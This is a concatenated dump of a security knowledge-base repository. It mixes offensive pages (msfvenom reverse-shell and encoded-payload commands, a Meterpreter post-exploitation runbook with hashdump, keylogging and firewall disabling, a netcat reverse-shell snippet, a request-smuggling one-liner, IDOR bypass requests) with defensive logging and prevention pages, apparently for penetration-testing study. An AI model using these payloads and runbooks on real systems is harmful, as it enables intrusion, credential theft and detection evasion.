50 | 51 | ## Windows reverse shell excluding bad characters 52 | 53 | msfvenom -p windows/shell\_reverse\_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata\_ga\_nai 54 | 55 | ## Windows x64 bit reverse shell 56 | 57 | msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe 58 | 59 | ## Windows reverse shell embedded into plink 60 | 61 | msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata\_ga\_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell\_reverse\_msf\_encoded\_embedded.exe 62 | -------------------------------------------------------------------------------- /red-offensive/testing-methodology/post-exploitation/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | So, you have successfully gotten your first toe hold into your targets 4 | network. What next? 5 | --- 6 | 7 | # Post Exploitation 8 | 9 | ## Post Exploitation Tasks and Checklists 10 | 11 |
12 | 13 | ## Command and Control 14 | 15 | Similar to exploitation frameworks for one-stop shopping, Command and Control tools provide a wealth of bundled utilities for post exploitation activities and remote control. These are your post-exploitation easy button. 16 | 17 | {% content-ref url="../../post-exploitation/c2-frameworks.md" %} 18 | [c2-frameworks.md](../../post-exploitation/c2-frameworks.md) 19 | {% endcontent-ref %} 20 | 21 | ## Persistence 22 | 23 | Your initial exploit and your first shell connecting to your target might often be a delicate connection. One of the first things you should do is establish persistence in the way of a backdoor into your target for quicker, easier, and more reliable access. 24 | 25 | {% content-ref url="persistence.md" %} 26 | [persistence.md](persistence.md) 27 | {% endcontent-ref %} 28 | 29 | ## Defense Evasion 30 | 31 | Most devices that you will attack will have some sort of defense mechanisms in place to prevent you from your goal. Follow some of these tools and tactics to evade detection. 32 | 33 | {% content-ref url="defense-evasion.md" %} 34 | [defense-evasion.md](defense-evasion.md) 35 | {% endcontent-ref %} 36 | 37 | ## Enumeration and Harvesting 38 | 39 | Once a device has had its initial compromise, you can empty it of all of its goodies. Discover interesting files and settings, as well as things that might help you compromise another host such as stored credentials! 40 | 41 | {% content-ref url="enumeration-and-harvesting.md" %} 42 | [enumeration-and-harvesting.md](enumeration-and-harvesting.md) 43 | {% endcontent-ref %} 44 | 45 | ## Exfiltration and File Transfer 46 | 47 | After scooping up all the goodies in your compromised device, you can sneakily move them out of your target's network to a safe place. You can use the same utilities to move tools and utilties onto compromised devices for further exploitation. 48 | 49 | {% content-ref url="../../post-exploitation/file-transfer.md" %} 50 | [file-transfer.md](../../post-exploitation/file-transfer.md) 51 | {% endcontent-ref %} 52 | 53 | ## Network Harvesting 54 | 55 | The other side to endpoint harvesting, you can use your newly compromised device to inspect and interact with passing network traffic, to gather even more useful information like credentials. 56 | 57 | {% content-ref url="../../post-exploitation/network-attacks-harvesting-mitm.md" %} 58 | [network-attacks-harvesting-mitm.md](../../post-exploitation/network-attacks-harvesting-mitm.md) 59 | {% endcontent-ref %} 60 | 61 | ## Privilege Escalation 62 | 63 | Some exploits only give you lower level privileges, but we can use exploits and harvesting techniques to give ourselves a high level of privilege on our compromised target, that allows us to interact with a larger array of things. 64 | 65 | {% content-ref url="privilege-escalation.md" %} 66 | [privilege-escalation.md](privilege-escalation.md) 67 | {% endcontent-ref %} 68 | 69 | ## Meterpreter Post-Auth Runbook 70 | 71 | For those using the super powerful remote shell Meterpreter, here is a handy runbook of all the things you can do once you have your shell to a compromised device. 72 | 73 | {% content-ref url="meterpreter-post-auth-runbook.md" %} 74 | [meterpreter-post-auth-runbook.md](meterpreter-post-auth-runbook.md) 75 | {% endcontent-ref %} 76 | -------------------------------------------------------------------------------- /red-offensive/testing-methodology/post-exploitation/meterpreter-post-auth-runbook.md: -------------------------------------------------------------------------------- 1 | # Meterpreter Post-Auth Runbook 2 | 3 | Meterpreter Post-exploitation Modules ◇ > use post/windows/gather/enum\_logged\_on\_users ◇ Railgun - Meterpreter extension that allows direct access to Windows APIs ◇ IRB - ruby shell in meterpreter 4 | 5 | Meterpreter Post Auth 6 | 7 | * Info gathering 8 | * getuid 9 | * getpid 10 | * getsprivs 11 | * sysinfo 12 | * screenshot 13 | * run winenum.rb 14 | * run scraper.rb 15 | * run checkvm 16 | * run credscollect 17 | * run get\_local\_subnets 18 | * Priv Esc 19 | * ps then migrate 20 | * getsystem 21 | * Tokens 22 | * list\_tokens -u 23 | * impersonate\_token 24 | * steal\_token \[pid] 25 | * rev2self 26 | * Retrieve passwords 27 | * hashdump 28 | * cachedump 29 | * post/windows/gather/smart\_hashdump 30 | * post/windows/gather/credentials/vnc 31 | * Session 32 | * enumdesktops 33 | * getdesktop 34 | * setdesktop 35 | * uictl disable keyboard 36 | * keylog 37 | * keyscan\_start 38 | * keyscan\_dump 39 | * keyscan\_stop 40 | * Nix Post Auth 41 | * Disable Firewall 42 | * /etc/init.d/iptables save 43 | * /etc/init.d/iptables stop 44 | * iptables-save > root/firewall.rules 45 | * iptables-restore < /root/firewall.rules 46 | * Files to pull 47 | * /etc/passwd 48 | * /etc/shadow OR /etc/security/shadow 49 | * /etc/groups OR /etc/gshadow 50 | * /home/_/.ssh/id_ 51 | * /etc/sudoers 52 | * User Information 53 | * grep ^ssh /home/_/._hist __ 54 | * _grep ^telnet /home/_/._hist_ 55 | * grep ^mysql /home/_/._hist\* 56 | -------------------------------------------------------------------------------- /red-offensive/wireless-hacking.md: -------------------------------------------------------------------------------- 1 | # Wireless Hacking 2 | 3 | ## Wifi Hacking 4 | 5 | * [aircrack-ng](https://www.kali.org/tools/aircrack-ng/) - A complete suite of tools to assess WiFi network security 6 | * [https://www.aircrack-ng.org/](https://www.aircrack-ng.org/) 7 | * [airgraph-ng](https://www.kali.org/tools/aircrack-ng/#airgraph-ng) is a tool to create a graph ouf of the txt file created by airodump with its -w option. The graph shows the relationships between the clients and the access points. 8 | * [airgeddon](https://www.kali.org/tools/airgeddon/) - a menu driven 3rd party tools wrapper to audit wireless networks with many features. 9 | * [bully](https://www.kali.org/tools/bully/) - Bully is a new implementation of the WPS brute force attack, written in C. It is conceptually identical to other programs, in that it exploits the (now well known) design flaw in the WPS specification. 10 | * [cowpatty](https://www.kali.org/tools/cowpatty/) - If you are auditing WPA-PSK or WPA2-PSK networks, you can use this tool to identify weak passphrases that were used to generate the PMK. 11 | * [eaphammer](https://www.kali.org/tools/eaphammer/) - This package contains a toolkit for performing targeted evil twin attacks against WPA2-Enterprise networks 12 | * [kismet](https://www.kali.org/tools/kismet/) Kismet is a wireless network and device detector, sniffer, wardriving tool, and WIDS (wireless intrusion detection) framework. 13 | * [mdk4](https://www.kali.org/tools/mdk4/) - A Wi-Fi testing tool from E7mer, ASPj of k2wrlz, it uses the osdep library from the aircrack-ng project to inject frames on several operating systems. 14 | * [c41n](https://github.com/MS-WEB-BN/c41n) - Automated rogue access point setup tool. 15 | * [https://hakin9.org/c41n-an-automated-rogue-access-point-setup-tool/](https://hakin9.org/c41n-an-automated-rogue-access-point-setup-tool/) 16 | * Training 17 | * [https://tryhackme.com/room/wifihacking101](https://tryhackme.com/room/wifihacking101) 18 | 19 | ## Bluetooth 20 | 21 | * [bluelog](https://www.kali.org/tools/bluelog/) - Bluelog is a Bluetooth scanner designed to tell you how many discoverable devices there are in an area as quickly as possible. It is intended to be used as a site survey tool, identifying the number of possible Bluetooth targets there are in the surrounding environment. 22 | * [blueranger](https://www.kali.org/tools/blueranger/) - Use the Bluetooth interface to scan for the specified remote address. 23 | * [bluesnarfer](https://www.kali.org/tools/bluesnarfer/) - A bluetooth bluesnarfing Utility 24 | * [bluez](https://www.kali.org/tools/bluez/) - This package contains tools and system daemons for using Bluetooth devices. BlueZ is the official Linux Bluetooth protocol stack. 25 | * [btscanner](https://www.kali.org/tools/btscanner/) - btscanner is a tool designed specifically to extract as much information as possible from a Bluetooth device without the requirement to pair. 26 | * [crackle](https://www.kali.org/tools/crackle/) - crackle exploits a flaw in the BLE pairing process that allows an attacker to guess or very quickly brute force the TK (Temporary Key). With the TK and other data collected from the pairing process, the STK (Short Term Key) and later the LTK (Long Term Key) can be collected. 27 | * [redfang](https://www.kali.org/tools/redfang/) - a small proof-of-concept application to find non discoveredable bluetooth devices. This is done by brute forcing the last six (6) bytes of the bluetooth address of the device and doing a read\_remote\_name(). 28 | * [spooftooph](https://www.kali.org/tools/spooftooph/) - Spooftooph is designed to automate spoofing or cloning Bluetooth device Name, Class, and Address. 29 | 30 | ### Rogue Access Point 31 | 32 | * [https://github.com/P0cL4bs/wifipumpkin3](https://github.com/P0cL4bs/wifipumpkin3) - Powerful framework for rogue access point attack. 33 | -------------------------------------------------------------------------------- /security-logging/log-source-evaluation.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Introducing DeTTECT! 3 | --- 4 | 5 | # Log Source Evaluation 6 | 7 | ## Intro 8 | 9 | When managing out log sources, we must often evaluate them for their detection capabilities. We know that not all log sources are created equally, but how can we tell? Well we can do this two ways:\ 10 | \ 11 | First, we can see if ther are any standards of logging that we can hold our logs to. For example, if you are a Splunk user, you can use thier CIM, Common information Model to define all of the pertinent data points you need to log, (Per splunk's opinion). 12 | 13 | Second, we can evaluate our logs by scoring and comparing your logs to known standards such as Mitre Attack, to determine the level and quality of detection coverage. 14 | 15 | ## DeTTECT 16 | 17 | On of the best tools to help with this is [DeTTECT](https://github.com/rabobank-cdc/DeTTECT). DeTTECT aims to assist blue teams using ATT\&CK to score and compare data log source quality, visibility coverage, detection coverage, and threat actor behaviors. All of which can help, in different ways, to get more resilient detection techniques against attacks targeting your organization. The DeTTECT framework consists of a Python tool, YAML administration files, the DeTTECT Editor, and scoring tables for the different aspects. 18 | 19 | DeTTECT provides the following functionality: 20 | 21 | * Administrate and score the quality of your data sources. 22 | * Get insight on the visibility you have on for example endpoints. 23 | * Map your detection coverage. 24 | * Map threat actor behaviors. 25 | * Compare visibility, detections, and threat actor behaviors to uncover possible improvements in detection and visibility. This can help you to prioritize your blue teaming efforts. 26 | 27 | DeTTECT Resources 28 | 29 | * Wiki - [https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started](https://github.com/rabobank-cdc/DeTTECT/wiki/Getting-started) 30 | * Video Presentation - [https://www.youtube.com/watch?v=\_kWpekkhomU](https://www.youtube.com/watch?v=\_kWpekkhomU) 31 | * Video Guide - [https://www.youtube.com/watch?v=EXnutTLKS5o](https://www.youtube.com/watch?v=EXnutTLKS5o) 32 | * [https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack](https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack) 33 | * [https://www.siriussecurity.nl/blog/2019/5/8/mapping-your-blue-team-to-mitre-attack](https://www.siriussecurity.nl/blog/2019/5/8/mapping-your-blue-team-to-mitre-attack) 34 | * [https://github.com/siriussecurity/dettectinator](https://github.com/siriussecurity/dettectinator) - The Python library to your DeTT\&CT YAML files. 35 | * [https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/](https://blog.nviso.eu/2023/01/04/dettct-automate-your-detection-coverage-with-dettectinator/) 36 | 37 | ## ATTACKDataMap 38 | 39 | This is an amazing tool written by the Sysmon Guru Olaf Hartong, for mapping data sources and their tracked events to Mitre coverage. 40 | 41 | * [ATTACKdatamap](https://github.com/olafhartong/ATTACKdatamap) - A datasource assessment on an event level to show potential coverage or the MITRE ATT\&CK framework 42 | * [https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11](https://medium.com/@olafhartong/assess-your-data-potential-with-att-ck-datamap-f44884cfed11) 43 | * [https://github.com/OTRF/OSSEM-DM](https://github.com/OTRF/OSSEM-DM) 44 | 45 | ## Misc 46 | 47 | * [https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/](https://www.socinvestigation.com/mapping-mitre-attck-with-window-event-log-ids/) 48 | 49 | {% embed url="https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5b8f091c0ebbe8644d3a886c/1536100639356/Windows+ATT%26CK_Logging+Cheat+Sheet_ver_Sept_2018.pdf" %} 50 | -------------------------------------------------------------------------------- /security-logging/logging-cloud.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Currently in Dev... 3 | --- 4 | 5 | # Logging - Cloud 6 | 7 | O365 8 | 9 | * [https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/](https://thecloudtechnologist.com/2021/10/15/everything-you-wanted-to-know-about-security-and-audit-logging-in-office-365/amp/) 10 | * [https://github.com/invictus-ir/Microsoft-365-Extractor-Suite](https://github.com/invictus-ir/Microsoft-365-Extractor-Suite) 11 | * [Unified Audit logs in Microsoft 365](https://www.youtube.com/watch?v=c1kId\_esv0k) 12 | * [The basics of modern authentication - Microsoft identity platform](https://www.youtube.com/watch?v=tkQJSHFsduY) 13 | -------------------------------------------------------------------------------- /security-logging/logging-user-behavior-monitoring.md: -------------------------------------------------------------------------------- 1 | # Logging - User Behavior Monitoring 2 | 3 | While UBA (User Behavior Analytics) or UEBA (User and Entity Behavior Analytics), is a detection methodology typically used in more mature security operations, it still can be incredibly beneficial if deployed properly. The only caveat to this, is that it requires large amounts of data and tuning in order to be successful. This is NOT a plug and play security solution. 4 | 5 | "If you do not know your environment and you have not implemented a basic defensible posture, do not start with these types of products" - SANS SEC555 6 | 7 | **UBA Components** 8 | 9 | User behavior monitoring typically involves 3 separate tasks: 10 | 11 | * Allow lists of user activities - Start with general activity accepted by all users. This is further enhanced with tagging and definitions of user groups. 12 | * Deny list of user activities - As above, start with general activity accepted by all users. This is further enhanced with tagging and definitions of user groups. 13 | * Identifying deviations from normal user activity. Most people are creatures of habit. This also extends to roles. While system admins may perform previously unseen tasks are regular intervals, the accounting department does not tend to stray from the same actions and applications. 14 | 15 | **UBA Tools** 16 | 17 | * UBA/UEBA Tools built into you SIEM - Many SIEMs have built in UEBA utilities like [Splunk's UEBA](https://www.splunk.com/en\_us/data-insider/user-behavior-analytics-ueba.html). 18 | * [OpenUBA](https://github.com/GACWR/OpenUBA)[https://openuba.org/](https://openuba.org/) 19 | * [Microsoft Advanced Threat Analytics (ATA)](https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata) - Microsoft's behavioral analytics tool that has recently been made EOL and is being replaced with [Identity Defender](https://www.microsoft.com/en-us/security/business/threat-protection/identity-defender) 20 | * Requires 21 days with 12 days of activity from the target users - Open source data science project for user behavior monitoring. 21 | * [User-Behavior-Mapping-Tool](https://github.com/trustedsec/User-Behavior-Mapping-Tool) -Project aims to map out common user behavior on the computer. Most of the code is based on the research by kacos2000 found here: [https://github.com/kacos2000/WindowsTimeline](https://github.com/kacos2000/WindowsTimeline) 22 | * [https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/](https://www.trustedsec.com/blog/oh-behave-figuring-out-user-behavior/) 23 | -------------------------------------------------------------------------------- /web-app-hacking/attacks-and-vulnerabilities/clickjacking.md: -------------------------------------------------------------------------------- 1 | # Clickjacking 2 | 3 | ## Basics 4 | 5 | * Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website. 6 | * The technique depends upon the incorporation of an invisible, actionable web page (or multiple pages) containing a button or hidden link, say, within an iframe. The iframe is overlaid on top of the user's anticipated decoy web page content. 7 | * [https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected](https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected) 8 | * [https://portswigger.net/web-security/clickjacking](https://portswigger.net/web-security/clickjacking) 9 | * [https://owasp.org/www-community/attacks/Clickjacking](https://owasp.org/www-community/attacks/Clickjacking) 10 | 11 | ## Methodology 12 | 13 | ### Prefilled form input 14 | 15 | * Some websites that require form completion and submission permit prepopulation of form inputs using GET parameters prior to submission. Other websites might require text before form submission. As GET values form part of the URL then the target URL can be modified to incorporate values of the attacker's choosing and the transparent "submit" button is overlaid on the decoy site as in the basic clickjacking example. 16 | * [https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input](https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input) 17 | 18 | ### Frame busting scripts 19 | 20 | * Frame busting techniques are often browser and platform specific and because of the flexibility of HTML they can usually be circumvented by attackers. As frame busters are JavaScript then the browser's security settings may prevent their operation or indeed the browser might not even support JavaScript. An effective attacker workaround against frame busters is to use the HTML5 iframe `sandbox` attribute. When this is set with the `allow-forms` or `allow-scripts` values and the `allow-top-navigation` value is omitted then the frame buster script can be neutralized as the iframe cannot check whether or not it is the top window. 21 | * [https://portswigger.net/web-security/clickjacking/lab-frame-buster-script](https://portswigger.net/web-security/clickjacking/lab-frame-buster-script) 22 | 23 | ### Clickjacking + DOM XSS 24 | 25 | * The true potency of clickjacking is revealed when it is used as a carrier for another attack such as a [DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based) attack. Implementation of this combined attack is relatively straightforward assuming that the attacker has first identified the XSS exploit. The XSS exploit is then combined with the iframe target URL so that the user clicks on the button or link and consequently executes the DOM XSS attack. 26 | * [https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss](https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss) 27 | 28 | ### Multi-step clickjacking 29 | 30 | * [https://portswigger.net/web-security/clickjacking/lab-multistep](https://portswigger.net/web-security/clickjacking/lab-multistep) 31 | 32 | ## Preventing Clickjacking 33 | 34 | * X-Frame Options - Header that provides the website owner with control over the use of iframes or objects so that a webpage with an iframe can be prohibited with the `deny` directive. 35 | * CSP: Content Security policy - A detection and prevention mechanism that provides mitigation against attacks such as XSS and clickjacking. CSP is usually implemented in the web server as a return header of the form. 36 | * [https://portswigger.net/web-security/cross-site-scripting/content-security-policy#protecting-against-clickjacking-using-csp](https://portswigger.net/web-security/cross-site-scripting/content-security-policy#protecting-against-clickjacking-using-csp) 37 | * [https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html) 38 | -------------------------------------------------------------------------------- /web-app-hacking/attacks-and-vulnerabilities/command-injection.md: -------------------------------------------------------------------------------- 1 | # Command Injection 2 | 3 | ## Theory 4 | 5 | Command Injection occurs when server-side code (like PHP) in a web application makes a system call on the hosting machine. It is a web vulnerability that allows an attacker to take advantage of that made system call to execute operating system commands on the server. Sometimes this won't always end in something malicious, like a whoami or just reading of files. That isn't too bad. But the thing about command injection is it opens up many options for the attacker. The worst thing they could do would be to spawn a reverse shell to become the user that the web server is running as. A simple ;nc -e /bin/bash is all that's needed and they own your server; some variants of netcat don't support the -e option. You can use a list of these reverse shells as an alternative. \ 6 | \ 7 | Blind command injection occurs when the system command made to the server does not return the response to the user in the HTML document. Active command injection will return the response to the user. It can be made visible through several HTML elements. \ 8 | Let's consider a scenario: EvilCorp has started development on a web based shell but has accidentally left it exposed to the Internet. It's nowhere near finished but contains the same command injection vulnerability as before! But this time, the response from the system call can be seen on the page! They'll never learn!\ 9 | Just like before, let's look at the sample code from evilshell.php and go over what it's doing and why it makes it active command injection. See if you can figure it out. I'll go over it below just as before. 10 | 11 | **EvilShell (evilshell.php) Code Example** 12 | 13 | ![](<../../.gitbook/assets/image (36).png>) 14 | 15 | In pseudocode, the above snippet is doing the following:\ 16 | 1\. Checking if the parameter "commandString" is set\ 17 | 2\. If it is, then the variable `$command_string` gets what was passed into the input field\ 18 | 3\. The program then goes into a try block to execute the function `passthru($command_string)`. You can read the docs on `passthru()` on [PHP's website](https://www.php.net/manual/en/function.passthru.php), but in general, it is executing what gets entered into the input then passing the output directly back to the browser.\ 19 | 4\. If the try does not succeed, output the error to page. Generally this won't output anything because you can't output stderr but PHP doesn't let you have a try without a catch. 20 | 21 | ## **Detection** 22 | 23 | **Ways to Detect Active Command Injection**\ 24 | We know that active command injection occurs when you can see the response from the system call. In the above code, the function `passthru()` is actually what's doing all of the work here. It's passing the response directly to the document so you can see the fruits of your labor right there. Since we know that, we can go over some useful commands to try to enumerate the machine a bit further. The function call here to `passthru()` may not always be what's happening behind the scenes, but I felt it was the easiest and least complicated way to demonstrate the vulnerability. 25 | 26 | ## **Tools and Resources** 27 | 28 | * [Commix](https://github.com/commixproject/commix) - Commix is an open source penetration testing tool that automates the detection and exploitation of [command injection](https://www.owasp.org/index.php/Command\_Injection) vulnerabilities. 29 | * [https://www.kali.org/tools/commix/](https://www.kali.org/tools/commix/) 30 | * [Command Injection to Meterpreter using Commix](https://www.hackingarticles.in/command-injection-meterpreter-using-commix/) 31 | * [Exploit Command Injection Vulnerability with Commix and Netcat](https://www.hackingarticles.in/exploit-command-injection-vulnearbility-commix-netcat/) 32 | * [Powershell Injection Attacks using Commix and Magic Unicorn](https://www.hackingarticles.in/powershell-injection-attacks-using-commix-magic-unicorn/) 33 | * [Commix-Command Injection Exploiter (Beginner’s Guide)](https://www.hackingarticles.in/commix-command-injection-exploiter-beginners-guide/) 34 | * [OWASP Guide to Command Injection](https://owasp.org/www-community/attacks/Command\_Injection) 35 | * [Comprehensive Guide on OS Command Injection](https://www.hackingarticles.in/comprehensive-guide-on-os-command-injection/) 36 | * [payloadbox/command-injection-payload-list](https://github.com/payloadbox/command-injection-payload-list) 37 | * [PayloadsAllTheThings/CommandInjection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) 38 | * [https://cheatsheetseries.owasp.org/cheatsheets/OS\_Command\_Injection\_Defense\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS\_Command\_Injection\_Defense\_Cheat\_Sheet.html) 39 | * [https://tryhackme.com/room/injection](https://tryhackme.com/room/injection) 40 | -------------------------------------------------------------------------------- /web-app-hacking/attacks-and-vulnerabilities/http-request-smuggling.md: -------------------------------------------------------------------------------- 1 | # HTTP Request Smuggling 2 | 3 | ## Tools and Resources 4 | 5 | * [smuggler](https://github.com/defparam/smuggler) - An HTTP Request Smuggling / Desync testing tool written in Python 3. 6 | 7 | ``` 8 | python3 smuggler.py -q -u https://example.com/ 9 | ``` 10 | 11 | Attacking through command line a HTTPS vulnerable service. Good for persistence when no one believes in you. 12 | 13 | ``` 14 | echo 'UE9TVCAvIEhUVFAvMS4xDQpIb3N0OiB5b3VyLWxhYi1pZC53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNg0KVHJhbnNmZXItRW5jb2Rpbmc6IGNodW5rZWQNCg0KMA0KDQpH' | base64 -d | timeout 1 openssl s_client -quiet -connect your-lab-id.web-security-academy.net:443 &>/dev/null 15 | 16 | ``` 17 | 18 | * [http2smugl](https://github.com/neex/http2smugl) - This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 -> HTTP/1.1 conversion by the frontend server. 19 | 20 | ``` 21 | http2smugl detect https://example.com/ 22 | ``` 23 | 24 | * [h2csmuggler](https://github.com/BishopFox/h2csmuggler) - h2cSmuggler smuggles HTTP traffic past insecure edge-server proxy\_pass configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls. 25 | 26 | ``` 27 | h2csmuggler.py -x https://example.com/ --test 28 | ``` 29 | 30 | * [websocket-smuggle](https://github.com/0ang3el/websocket-smuggle) - Smuggling HTTP requests over fake WebSocket connection. 31 | * [http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - This is an extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks, originally created during HTTP Desync Attacks research. It supports scanning for Request Smuggling vulnerabilities, and also aids exploitation by handling cumbersome offset-tweaking for you. 32 | * [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) 33 | * [https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142](https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142)\ 34 | This is how I was able to exploit a HTTP Request Smuggling in some Mobile Device Management (MDM) servers and send any MDM command to any device enrolled on them for a private bug bounty program. 35 | * [https://www.intruder.io/research/practical-http-header-smuggling](https://www.intruder.io/research/practical-http-header-smuggling) - Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as "header smuggling". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling. 36 | * [https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/](https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/) - Two Years Ago @albinowax Shown Us A New Technique To PWN Web Apps So Inspired By This Technique AND @defparam's Tool , I Have Been Collecting A Lot Of Mutations To Achieve Request Smuggling. 37 | * [https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142](https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142) 38 | * [https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions](https://www.slideshare.net/neexemil/http-request-smuggling-via-higher-http-versions) 39 | -------------------------------------------------------------------------------- /web-app-hacking/attacks-and-vulnerabilities/insecure-direct-object-reference.md: -------------------------------------------------------------------------------- 1 | # Insecure Direct Object Reference 2 | 3 | ## IDOR Checklist 4 | 5 |
6 | 7 | ## Basics 8 | 9 | [https://owasp.org/www-project-top-ten/2017/A5\_2017-Broken\_Access\_Control.html](https://owasp.org/www-project-top-ten/2017/A5\_2017-Broken\_Access\_Control.html)\ 10 | \ 11 | For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this [https://example.com/bank?account\_number=1234](https://example.com/bank?account\_number=1234). On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong.\ 12 | There is however a potentially huge problem here, a hacker may be able to change the account\_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information. 13 | 14 | ### **How to Find** 15 | 16 | 1. Add parameters onto the endpoints for example, if there was 17 | 18 | ``` 19 | GET /api/v1/getuser 20 | [...] 21 | ``` 22 | 23 | Try this to bypass 24 | 25 | ``` 26 | GET /api/v1/getuser?id=1234 27 | [...] 28 | ``` 29 | 30 | 1. HTTP Parameter pollution 31 | 32 | ``` 33 | POST /api/get_profile 34 | [...] 35 | user_id=hacker_id&user_id=victim_id 36 | ``` 37 | 38 | 1. Add .json to the endpoint 39 | 40 | ``` 41 | GET /v2/GetData/1234 42 | [...] 43 | ``` 44 | 45 | Try this to bypass 46 | 47 | ``` 48 | GET /v2/GetData/1234.json 49 | [...] 50 | ``` 51 | 52 | 1. Test on outdated API Versions 53 | 54 | ``` 55 | POST /v2/GetData 56 | [...] 57 | id=123 58 | ``` 59 | 60 | Try this to bypass 61 | 62 | ``` 63 | POST /v1/GetData 64 | [...] 65 | id=123 66 | ``` 67 | 68 | 1. Wrap the ID with an array. 69 | 70 | ``` 71 | POST /api/get_profile 72 | [...] 73 | {"user_id":111} 74 | ``` 75 | 76 | Try this to bypass 77 | 78 | ``` 79 | POST /api/get_profile 80 | [...] 81 | {"id":[111]} 82 | ``` 83 | 84 | 1. Wrap the ID with a JSON object 85 | 86 | ``` 87 | POST /api/get_profile 88 | [...] 89 | {"user_id":111} 90 | ``` 91 | 92 | Try this to bypass 93 | 94 | ``` 95 | POST /api/get_profile 96 | [...] 97 | {"user_id":{"user_id":111}} 98 | ``` 99 | 100 | 1. JSON Parameter Pollution 101 | 102 | ``` 103 | POST /api/get_profile 104 | [...] 105 | {"user_id":"hacker_id","user_id":"victim_id"} 106 | ``` 107 | 108 | 1. Try decode the ID, if the ID encoded using md5,base64,etc 109 | 110 | ``` 111 | GET /GetUser/dmljdGltQG1haWwuY29t 112 | [...] 113 | ``` 114 | 115 | dmljdGltQG1haWwuY29t => [victim@mail.com](mailto:victim@mail.com) 116 | 117 | 1. If the website using graphql, try to find IDOR using graphql! 118 | 119 | ``` 120 | GET /graphql 121 | [...] 122 | ``` 123 | 124 | ``` 125 | GET /graphql.php?query= 126 | [...] 127 | ``` 128 | 129 | 1. MFLAC (Missing Function Level Access Control) 130 | 131 | ``` 132 | GET /admin/profile 133 | ``` 134 | 135 | Try this to bypass 136 | 137 | ``` 138 | GET /ADMIN/profile 139 | ``` 140 | 141 | 1. Try to swap uuid with number 142 | 143 | ``` 144 | GET /file?id=90ri2-xozifke-29ikedaw0d 145 | ``` 146 | 147 | Try this to bypass 148 | 149 | ``` 150 | GET /file?id=302 151 | ``` 152 | 153 | 1. Change HTTP Method 154 | 155 | ``` 156 | GET /api/v1/users/profile/111 157 | ``` 158 | 159 | Try this to bypass 160 | 161 | ``` 162 | POST /api/v1/users/profile/111 163 | ``` 164 | 165 | 1. Path traversal 166 | 167 | ``` 168 | GET /api/v1/users/profile/victim_id 169 | ``` 170 | 171 | Try this to bypass 172 | 173 | ``` 174 | GET /api/v1/users/profile/my_id/../victim_id 175 | ``` 176 | 177 | 1. Change request content type 178 | 179 | ``` 180 | Content-type: application/xml 181 | ``` 182 | 183 | Try this to bypass 184 | 185 | ``` 186 | Content-type: application/json 187 | ``` 188 | 189 | 1. Send wildcard instead of ID 190 | 191 | ``` 192 | GET /api/users/111 193 | ``` 194 | 195 | Try this to bypass 196 | 197 | ``` 198 | GET /api/users/* 199 | ``` 200 | 201 | 1. Try google 